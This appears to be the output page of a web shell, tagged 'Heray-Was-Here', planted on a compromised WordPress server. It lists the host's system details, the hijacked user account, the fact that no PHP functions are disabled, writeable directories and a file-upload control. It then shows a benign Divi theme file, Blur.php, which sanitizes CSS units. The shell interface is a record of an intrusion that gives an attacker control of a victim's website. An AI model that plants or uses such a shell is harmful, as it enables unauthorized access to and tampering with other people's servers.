Heray-Was-Here
Server : LiteSpeed
System : Linux server376.web-hosting.com 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : alissgnf ( 2624)
PHP Version : 8.4.21
Disable Function : NONE
Directory :  /home/alissgnf/www/wp-content/themes/Divi/includes/builder/module/helpers/motion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/alissgnf/www/wp-content/themes/Divi/includes/builder/module/helpers/motion/Blur.php
<?php

class ET_Builder_Module_Helper_Motion_Blur extends ET_Builder_Module_Helper_Motion_Sanitizer {

	/**
	 * @param string $value
	 *
	 * @return string
	 */
	protected function sanitize( $value ) {
		$unit = et_pb_get_value_unit( $value );
		$unit = in_array( $unit, $this->get_units() ) ? $unit : $this->get_default_unit();

		return (float) $value . $unit;
	}

	protected function get_units() {
		return array( 'cm', 'em', 'mm', 'in', 'pc', 'pt', 'px', 'rem' );
	}

	protected function get_default_unit() {
		return 'px';
	}
}

Hry